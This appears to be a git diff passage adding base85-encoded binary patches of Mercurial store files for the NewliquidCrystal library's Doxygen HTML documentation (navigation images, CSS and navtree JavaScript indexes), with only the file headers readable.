zgwa^BX|IQ|iDuZzcrry$(C&#fEejv)f5Q?|wQBawH}hH zJ!9aVk9ql)1^ZW>?tJim>wz;j9)5^Q$SkVZ)^zsfqmOjo=)|mrt7{LQyY={!DnKA$ zYf)00uoyH|YJwqA4Fy{;(?}gn%3q-&vEXD_`ykmQzF$yK<{7TZ5>nonVk8D&&8V#% zuo0WJ+1`;f5$FDx34d*Y`A-wX-9P~;9a9y!g7>+*RwTGs%=LL4+Cr@+F_hQk9-U6AFZ|ikpb!otwQAdAowN!>45(SkTbO z`)ZzIx_jKwhQ#aqC&#Kkd)rprB#-}aYyZ9@@}6Ccl#R;5tixi^Ih5=iU|90L{)0DP z_(;F?W5uaY)R(*)ETyYqRd;TIxKwUjeh;gyEKD>qPGIVfw0p=en!HtFV1E63=+4{U zdX8b=TJ>802&o;~WJ>G!#i%hW#X#Kt{!;75rXzatRnyk)R9xD_Jk@jLi|?IkmF`E* zAF&jN2RCn>?dzq8@~j2BZcOlAHH0}Uug7@*V*R$*M@xHRUvEC%nM@BtUK7q=^YXPx zQSde9uKYvvPg#e54oPhMa&V6FgUIISZ`C0mJQ@?<@jg#DzeBY9i%a#h!t$O!`b=V8 zxVYne@UHTU+q-NPL}ib#MH3fg_Le=$E9_b;Umu?nOlRNhy;4E_NI4`k!GHYMuQyx{ zH@-w>-QMPUieEh>Pk%q-ldl+{7$HGl!?%gSo%+11{7+kd!5b1sL<0UhqJBSWuLtO3 zBE6R9IUm1Uy*2N`dohTxP09&#-6#fq#oJGnHb#$&cO_+hJ7}`ysY#iC7(6M-KH3UT z&=SV|^TfBsFXg&^#&WVP0oZ#mf>5T?SfK*`P$WF$%MqR*B3K%MM}DPxW>TKgPYu_3 z!&)dsX;TuN4Ww<|-`mJ{(zfiV9wgN=AGSaaj7Bf%D98^Zk=-sK0p_H_5Hq4QOxaYm zW{g6T!dS`4GD4wBq0LW8sNf75@gd|wWaBVdX+Y^n9L(m5l-a>K$BiiE>ROT_(Om_IT@kQ(7VIpTNc|4s=KCUSnG zV3?_*2xj7MG$j@X*5hQ07(%~@pul)OKUKnz872QFEStm^mc|^*N~#poKo6WknT9!5f_bI zHP9XaSj(k3r_Mh)Cio}E{3pl!C&&CJ#~jNsrIFK68W|!b(LoX>lz}^7!wE_}oSxu7 zC`f{F5nP2*3{Jy<`rk<4fF}qC6fl}AqK5M!ESwiXk}<^n>d{FeQM#j@9ZzV>l*C(G z7C+4{o0)D$v?bVqiLTk{OjZgm$dFa9p;tQ8YD(5R~r8N#gqD2sq(6 z!4a&S6qW3b*^+En1R5DfCEJpzBpQi=$B_sGdpiQ%j!dv2+B*`cjuawpq!_{D3D^ma zVO~BXqroj_qmgN4Wo6lBk!|^cL_4B`gM%G`WJe;|z!EmXSv(Ol+lD7J9__)4BV-A< z=^`$lhm*9KaK<8XHZmHWL|Xb-w}0xbQ9(9qOfDTxN~D9cS$3RMP8x?N62h{?G1>Id z`-(sBdW`+s0I(%NLI2*Cw6rm4p~yQ^^zWsGl03pLj3eY{2v{8NOxR50pXyDU*tJnaCJ74JbJSs z5^V_N2oee2M2;kyHG$|zAPkEJ@!8yjS$`0vMT|bB`%M(y#%!jD`M1JsmSX~6kj8|U zfSbllk}LZc0>X};yx)q=5P2v z*^xXh>}b*mJs2J*ljFrr632-ICI83)E z<4F!QJefemlZp0lb-+_ea3zyq8r%<^09RO+E@@L?K3vHZGRcW%@9F8|O(uI$?8y{5 z)qzfTC%F?neP}cf0@a%gn=IMSj-lLaPU>VYF6>6(urDa&Us*A~u&53r9O+gGha)n) zC1_MCnL0xMeV$~RJ&l5=5FBU(DTHT0Cz6ICNlF=pWSBxF4$DyR5-qwE+Dm6bkwTb4 zv8NKGkR*jvDTF;kC&PY|Kzk{4kU)Ea6cVM7B!y%tq(~uE3Z=TRZz)9BMN&wS!eI(s z3hgD(fh2`e83!s1=_Gq8bdW%JwJ1afd#V)Dq>wI!_EIR3ad42zI1r_fB!y%tq)4Gu zS7Hf#{nGI8isIp2fT!W zr%yO%<_MO`#YtnfBa=0}<5|)O#x@!ubN}q>|J$o?ST`$)!~2(TMIVh-!!kmCf+&kA z;J7EkSL)w|Si8S6TFA`&8G@)`P-oUZ~XJ?3G~0_BDJgP|4)vpvC00D5{{DKJX1RV(G=GO_fPq!{8RoZ|CE2q zKjr_w^7A1XhX?0MSw^ld;`=&v@csLY(6A66MxeL!d7e%sGd(>Op#ne}Pb3KQ^}tPz ziN#^N0S2f74PXXLnJi(tduV7N_{;L~=J0!`>o$_U{#x!&iz*w=W&nUfVLYBKWTnCQ zei$EQr3*v=Af*4wlqE`sairw!lZF5`5XKit@Wf$!odk~`#`j2NBEmdj{4@YE3QVRT z5disXFddi4N`(869|QoS#$!uf8mggS+yzc4*|0CXU>ST`8ef7-o@83Y|I$z5Z+*s( z^~q!=j^V>|krtVerz8JGcl>=xOU)P^L-OKOftMOASsTf#=qGHZSHLKqo*Ftv=kOxK zM{!+o;yFp4!DIahy~p}VX8MPY;)0B@$WdIF8Sed4HzIn> zHjdXAJ%Q`P7{$3F#@JXX{D3hV02c%SCSZv;*^+e!p8WJ#($|1EcX*d^@HhsKWh;3I zOC#$hGd2Xv#EP&**edK!>~U-d z_96DOjJ(VQ8Ip{TOsot~ra-1bre5ZlOoz;4nXj@cvZk_*vLUi;*;%rsvRh=EWv|LU zl>I8FDrYX|EEge{ESE1=Dc2x(M(&Q>J9&9|BY6k;N%CCzdGeL=d*si{_sf4#P*bo{ z@Kl(pkfE?lp;qC9!fl0jii(P6if)RriXz2jirW=WDc)85tfa1FtHe-ZE9EJzRccb| zPXC7d8@J23e`5Nol+Z6N2(jEd#bb4=c{i~KcoIo1EXQC!O%$7DAw4eaYbWL zQ%#ei8Ks%6xmNS2W}g;P%S?-*m8w;$wNLA&){ypiZFg;s_G0Y@?GEivI^%TQbT~Ro zbaw09&>7Oj>3Zv?=&sN`sN1WD(zDW=q?e_)LGO&-i*Xv`oW`-nEg83OT(>?#-%3AB zf42T+{Y&~E#v6?H9iKkFYW%73FATH{+zgTp$_LivQ_6Q1ETaqhTO zTqW)_ZqQKQ(9bZ#aFgK`!>>l>Mv+DZM!SuAjpdB(jT4N^ja!WeO(vKGnanZSVbX0X zYie(rWV+h)oarYsbF*l(g=PoMo|x;HGt6_$cbMO?P_%Hhm}yaC(P@dXw6{#LTyJ^J z3SmXHO0rsOb=4YSO|#}&ueWZ;qwx-S9=-;D%SOS*-6qp!hfTk&mTjPIf$c%tS9T_L zv34u$&e{DSPzkAoErcGT8quFvKx`(yC0UVJq_w0@vLe}soJT%HenYXQa3~unT~u{y z5OpE7mHM4VrwM2cw5N0vdK`Tn{g%CkeW-nj{dotpgNH+&LyN-~N1CI^ai8OBCmW{} zr+TL+6U`@bCT^KH;B4f~bl&9L=Yn&IbJ^(9=W6K6bggl{?`G`AcH8Fm*xk}S*?p(` zD-VK)z~g|&Cr?Muxt=GykY2uCOT4alt9eIyukpU?W8{>6$UkUh(4An@U|#US5D>x$SsBtB zY92Z>^vER4q|ixgCp`)yhRq2(7p@*YBfLKRV}wUUX+%$?MPx=~Ym{=-)Tr%IpQ62@ z%cA=x+fAN3xh+O7h8uGz78@HCyDj#^6z?gkraYWVomw>Y<}~wZ+0!me*PEU?{pbwk z8O#}tap<_{xcazn%n)V`^Fur%eqH<^%agU5^_=a-E@waGICIK4j}x2|$`YO=Iw!77 ze46B%RFU+8>&acieUt2$T%G(WB_yRbMVuO)x;srKEiUaaPmPztJIy!XXYcQCW@Is@c5kOS7zIEuQr_ z$0uj&Y}9Pl?AAGkbMoi(&vl=>DHqC(&uz^!&MVA&IL~)pUA|m?O8(^nLP1%<`}xuH zn+wMm&MO>P;JaW)ky4SM=+;7~h1H8ti@1xfEG93mTKr=Pd&$LOLUBd$w-Q###ihih zl}p9T5|&*lrIl`2j#T9386*XgfYyzbL__WF(uZW|h^$5$6u4{hXb?AqkJsj0@S zreZT@bLQqpTcWm{+iJgc`!>C8#oNBu@@o6)!sdvjmFzSc(j#)kc-`_~;%Kd__;YMRwFcrfW;-=Ua8 z?T7sjw>CR9A2?!rq_)MdW$jVTqov2>jujpgAI~}d;Y9k07bg=>4z$i_?Kw61ROjhQ zr>~p|ICK82&)HMw+|M09?|i=Hg5!n57ws<|Y@@X`U7}t(aG84fz!ln+rmOU;hpstX zYi^&|eyqc_t{O|oozRQZ?xZxyxDbY>aD&mcGr{Jskh&BXLf(>nRf?$XGyP0 zZ^d2xyEXSL@9plR^&Rc^>c4b9{C>{>YvB0<;e&4v3m+*ys(3u%@%AUACoNBXo?d%4 z<=MmM>CeBuD0->-a@{M7SNmVPy}mR!dGO&I!5i`0l6SiAYTr}dw|)ryaQ9={$FHB3 zeAfM3_r?CpxuNKx$6vF)VZT*=xBTAxBjCp!ahg~xc@!*71tkAuk4Q)W;B74ciZO8R z0OzN2Cx-Lik%EMV{|C?-oQ7iIvv?bF8fqM>4PAl>!)jw6$sCkjBFC2ZP|#EOsyLu@ zT6vGkTGb-8Z1q%)IL%0{AZ>3Q4_!|^k8$q$e&hWO!Y53@F%6T9c*ZFvai#%g1ak%R z2Ns7cORQ#ClkrIWb(_t$B0FD#F5w07IH{b>r8rZSsr|Hl^aA@Z2SbO~jxA1$Cq_CO zI=^%|;#%xB-JRm0;PKeA)oY!1rca2kneTVM4o01SZa`R|dEijcmEg@GIiXRLXkofx z;_!zNZIOGUDxzmko*v^CYcvG~U-@UJ)lDy+F*9x&GbG-Z<;8aAxF$F!Iwn!Mw#gPL zhN-$~syulMY*~5fy5*Z!)R*mBdAR(*}k-X{f>s6$97$9=-d5aukt>8W6=Ke11p=F4t5Y2ulnvq|UXpI?9B;KlZ~XO|II^sZ8`MYLyiY`T8A z^V?19TQOaWZZ~y5xTDtVephg>w(tIZvw`#n#~vv@p890R)1l}7FV?(#@!ET^_O152 zvJaXc*L^no()iW$+sz-zlFvGRS^o$W8g&L;fbqb}VB2KY$qM8c^2YMt6mBXuDXme? zS4mZkR`XD|)iBZ2(2~_gYJbytulq*t&A2!E@5g^K_>MyuVvI1xknvlSJEkpW73OIc zu9nJ{_pBPM=i&owbZs8k?zPJ!1QQL2FG)wqODWT+c410mciUwEAKTjWRMe`={1Ji?NMhfDELeYYZ%FG>EN3*ZZ8p!!D2QybE*CNk;o?m`+0eiln zFn7U{qKbtZ7wuSlV9BxKb0yc7b}j2GeX@LT#pjivTxOMWh1P2QN~0>XHI{4f>ulE( zHjt`m8z*k^t%=;6uqAuzl5Oj1ch{ZR-d=xy$NOEV2Cdzed))R;**B+g#eGbCJ=;xs-o-{guO4yW61-+w08E ziW`@1A-e2ur*+r#-0YRR>w0fiU-NzJz|;o^A89@oJh}GF=6Ugpr>_EEAAU3O?alWE zA8DVSd|COG`t90}q_Oo6fVvO@Bo5hunun&M2Qgc)@iKUsPqHm?i{xVzEEL3wHCKF&mJEO#{fT^n<3Fi-{^;Nw@IVvLbF(N zy!nvDMawFy1ZxT&;4j&%wq@B7?1l)ZiKV1ivKe`ha+q2`3!tmfyX>nSIF441ubdhu zW;#1Ke{(tETI3ewuI+x`W4GsAFMn@s?*X3%-yA=0hBBkee^WqmAPJ5Ht--}1(V-@x zA0}N0s}9eM2#z$3{1$aRdi&(On8;Ym*l$y=P2DmrYkI&8!x>-WdYC8T>*1X+pOc<2 zEzvKD%r!`sO@5csn|dy7A8$RsBt3uTY(b82t|&iaLFSUIrP(WHmFKLUT{UOz-1WH| z@;1!dkiVf|{rokBRSPPLRxVt=sATctC56R#B{@qomhnrImvdIcmrY+ewLE53R7Lpe z(8|Cn#v1Rn?&~J5x8FdiCT=8dqSZKW_S+JW6Q&y)#&t#rmcdqsPlZ#4iZob@i`5gJL z3iA|Y6w8%NlnyF~C_htKq-w5uPAySgM!jAmMB}sOR;?&)Iqg$AxwF2@??@+m|b{OM1EvL)ZNLdF}|^RQw~r4IGr*hBknL$%<^NGa|RMANsGDtDHBtx z(mwN})AtLMg-N25nfh7T*f@UNYPz?iY!%m5Y`3d#+sSQ^+ug7?a-VpAT~p}6 zcZXLTv1(~O7IXaV$z`XkPhUKndS3a$fwn2|Nm6@_(f;sy&JDSn6;PxMeF#7kAUB8wErNDIH=rK~3-}Jd0I?U*k5otcAZH`@BA=p+ zQE{k^sE24`Y_e7O7#g;<3F#dIY|X_d0A z@-CRo(9azoVt_MvJ>e*>#BiDs z(OAZKz~rQ9joCu;bc?B$0ag>OZSdo4P&UtOui70TY#=TsWs#F8Q>o#!AUea|&%w{p z&&g||voqPn!qvb{(_P6!&J*i}^_KNf^40X4z_9jr3YP^1N2YUUUJ(*SD>7bZ z1!mXh$j|1@xt{Bkw=G}2pkV&{1xZD{i$WKlD8`qRFa1`^T7IdFzH;j-&5EMcLsc`^ zJYC0Lf4@3@t zpL#!Qd13r=?yD<<+HYdtu7B76!Q!Ln)0r>hhBCk2_)h<^W@P;KGr)pu2`Qn-pv3v0X5+X?y}(?qm{;4Ceuy*%xLBo76z8u zR+`q@czqi)TaukK!H38oG01)tKWZQ?j6T&q*&)YqnbX#Z$DMmzhTOE>2_D{_(O!w( z**?X-8~qM5I{n`Sss&Mlr-T%S?wNEiTs6WcGB>I@`g4p!Z0?jZ)0C%Aow17v;-gu6 zI0^~Li5I!n$;(pSrN#12r;}#Z2sK4ZGLc!i+23<==RkAk=OO0h=6{;cFMLwOUO2Fr zv*c;XOn9{yuh1*oS?;px%Ie9LJ!>Yf?N}eU;rvGLO=sY9c8w<(xAV4 z&t9*6-TMVi@&{`Vdo>TVEI4Ly{L0D9Q@GP@XGQ0AE;P3JT)K88^6IVjn2tN0Gj2S% zmE85FJLe9vxA>lN-;(|>1F;YGK7t+xJt=?M^W5-7;>#VcUJcs5;lOtvb?>)-SobmK zQ}Ab%&)2`qA0iL+eJ%QC^R451#t)qz&Ejd2^%o|PNz&s3Qt$u(eOD}gX9fVa41n(| z#Nw|tV)6IQ@Xf{@08XS1KU8p%f&BH$D-0GTi$J1fq~BK{f1RH63k(&>hhRt)N)d@3Bg6Ai#b6E9)HR5E zMVjtL`#MaitF~&U@DGi%K6`nGkXETNon)n3I>v{g?rp>*FdX?e~FsMISdR_uJPl=W`Tfu4s=_trKY zNx6U9)xO8&#mmPAEzSKwofdVQd0suYGhd(Fk+&)nX|?3V!mTY;FWY7vIv-$}R=Bb4 zocn49zv|Wc)0turQvK%T-3wc8rnOv6>1OPFnz1@1^UCe}ZC9Lk?_F30farWy{`gOO z&J}d8UifiErLwkFZv|`Pu4c1C&V3iB_2*W8MjN^Pyt5Tw>y6rWJhFF{=Ethom9$Sw zi_hsDCrq5wPrZ0%h2?FzS(7+hF+D+c+>K4Ffovs(m(;d!!DVVOsV2H}ZzB8Uf`qBt z=Uz~;Hg3M|XYryrLkyaGv4Rc;tbOOz^62`4vZu z92fZQ$saRgg1Eg`Ye#3;^zg77_dFW}`aQyBQ5EZ^$I2ct@X)w_$aYTxZ{y_x{|W|K zh-Q5YR`v|2oG(`}H;wBf(44kq(ay=OQ=TuyFR!@Nn^Kwa!5rzLSGHQCEKKuAW8D52 z_*w%BPRh|&UcCB(L8x!d!*LqUFWVG`$Ayj>fE9Q2nr)tOdj6eA)66BsvK5#{UeN51 zL=#^#_DtR7ZT{|-)+QU!EeZa;QR9e~=T|@Y@|YR8(4j8uTH6lJR=2`$7?ncRxPkD8l$|kzH)kxmXAeBztcz49vvsvnIa#{UB-lO zm62Lot@;;j>t^f6b05UtKEyRPitR{Y=<2O#@m}Us>!9nvXydA;nZ-0(k;$pmxf}E! z8ivIzs_~H#re9k5qcyf{C7H6NV`cYb70IhD!0gI7mX(-wo}jYc`U}z~(R!zPWY#mk#r4Zv5ZTwF-{KlPQ zJ0Dd>YP75oj*DEWcq`iWnDcx>VsrbxH`J41z1+#_kGjhllXSO~6dTMh&tP8;xoAGc z=4;ElNZqhUmd`#5UmDp4;4PcZcf5LDZ*u>s{gzsF$?Tt;*yXqSd;4|%?tNmgpEc_~ zGo;xu?Zd|zA4~WX2@^!3p64%)ztp*#9q01o>A_pK^SX&GgD1|c-QF#DV3~HX+CuBV zp8KH%dzU37a7ji+_n@o(AKCf`ZmV`$c^At4jJr3xqYepXsQ5f`QNG)s`ubH?>34@b zZIG~if_E^?jFJ$N5IV3z|P-OHG%DhA{q-tBiQ-_QGc m&zv`h9)9X!mc4B6gM*(Z^q+pS=ljXJmA{1e+y4Q=p>wD9KoFn+ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/nav__f.png.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/nav__f.png.i new file mode 100644 index 0000000000000000000000000000000000000000..37c860d9d44bc8df21c43707e570f61f9ea83681 GIT binary patch literal 442 zcmZQzWME`~fCWHmK9s%UKNPqdA1RpEwNQ^o{PX7r?}KC6vPAzu)qtte&Hz7mUM?vv zAdlD6!zBnvgABCbU;>hxnOJuNsWeX)$B+ufw|71HoD6wb0r zJvY6{kBugE{MowXeSGNto_#aU|6AR8LfAt>;co7f4O4+OGI+ZBxvXqa5h2~DP1n_F^3KF^w+ u={aM~y;sk@40Q}dG(24#Ln;{G-rdN_V8FxdxYuaI!O(5fxy2Q;W$uW0 z6|Gv&*gP-l?|+74`7G^!1YXPqY4UXSb6Mw<&;(*LfZWEwkPKykEC9O#%R&w W6OX>Qv!4;<#GsrD_d({voCp9EvRy#{ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/navtree.css.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/navtree.css.i new file mode 100644 index 0000000000000000000000000000000000000000..8a5ea577ec4e62ae4977a4b4270851685e26c896 GIT binary patch literal 1095 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/navtreedata.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/navtreedata.js.i new file mode 100644 index 0000000000000000000000000000000000000000..3b26e63eb93b17660d5ae12e2ebc2c2c98b4dfb1 GIT binary patch literal 359 zcmZQzWME_f14eZQ2Bwt|HpABcP_SvKZT#}c(;myOMXyM#>v#4m?%4oU1EwnG)K2ov zZZ?o;c>k|!dQ6q3HNO}C(U)NnvTKraL^usQC8nvx3hn;+K0PT^(49qpO`9f zqU?SCdQYa?FGLvUFr@xrpLeueHzG&sbq9+km$OgvwT70YKi}6CrQf`_M_@{XQ1;HR z41r$Ok1S?8DPMcGEpMWX@{FtEEI+H(y{j$tzqBqPe^t~e)<2#fw&h2)o?HFTXo|Fw z_foz;F$KbITG_61FPu8(&h^9ZlxxPVV28`|W^&w^zwDatsr==8&Oa{ZkQ94+@MO{7 z{>1G|m$x|{=IuSX=-ur6MK7%OHPn8aP}7p$P~f@dFjIC-eB$bC=gR3h1%2})|4fqY w>)+5SI<={;@$!KdRoC0cS~c_znstS_tu}kX9-HfC?E73R{Qu1QmDZ=T08qxIAOHXW literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/navtreeindex0.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/navtreeindex0.js.i new file mode 100644 index 0000000000000000000000000000000000000000..d1256911b23e5f400df5aa1c70d7388d8bb5b50f GIT binary patch literal 3474 zcmV;D4Q=uO0RRC20000001G()03q)H00000006cB|NsC0|Ns9LRGuX6s=Gm3qfv1Y zENRg>0udnq00000000000001ZoRwKkj~urVz3W#P_SFbjA1smyatII~a`7Puf&hWB zAX&vofFdPY*@+S4zvuPZ+dU(1&nS|xTFf+GlU1)?z3Tp@4x>r<5#ag{{8Kjzy2$IoxV=reT{40@WVX6 zhMul@i%b0F3;3rC-u(0XH~ug`{P_5>zkT^idFjfBpYH$S0===|;bHvv@IyaYnO|P{ zc;jYvw&Vjn{Ojc<^>hiJEorAqK8 zKOP7dU!H#bRZpT+Yb{yE%sN%7uAH0nTGAS#&j3GV=S2wN7^MoQlDk_Xax1l{rreXK zZac*JF0^2|k#S}oRZCVYr8rqH(|r04A*T>HKvOOn!^W_hP3Ow2A}l^|z#T$QA#7Dr z%i=AGPhQKSDyP8lTGk#r1f4>Zj=PnyCgt!*JzCURhpTc+v5sBXDa2%BCWNuqp>53Q zEtYX1j$Ug&Aovs_5KPI|X5->1r5cQsI%!V2F2h+4h$pqU_tc6{bFB 